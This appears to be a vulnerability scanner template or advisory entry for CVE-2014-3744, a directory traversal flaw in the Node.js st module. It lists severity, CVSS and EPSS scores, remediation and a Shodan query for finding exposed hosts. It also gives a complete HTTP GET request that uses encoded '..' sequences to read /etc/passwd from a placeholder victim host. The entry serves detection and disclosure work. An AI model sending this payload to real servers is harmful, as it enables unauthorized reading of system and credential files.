| Title | Node.js st module Directory Traversal |
|---|---|
| Author | geeknik |
| Severity | High |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information. |
| Remediation | Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal. |
| CVSS Score | 7.5 |
| EPSS Score | 0.5516 |
| CVE ID | CVE-2014-3744 |
| CWE ID | CWE-22 |
| Shodan Query | cpe:"cpe:2.3:a:nodejs:node.js" |
| Tags | cve2014 cve lfi nodejs st vuln |
A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
GET /public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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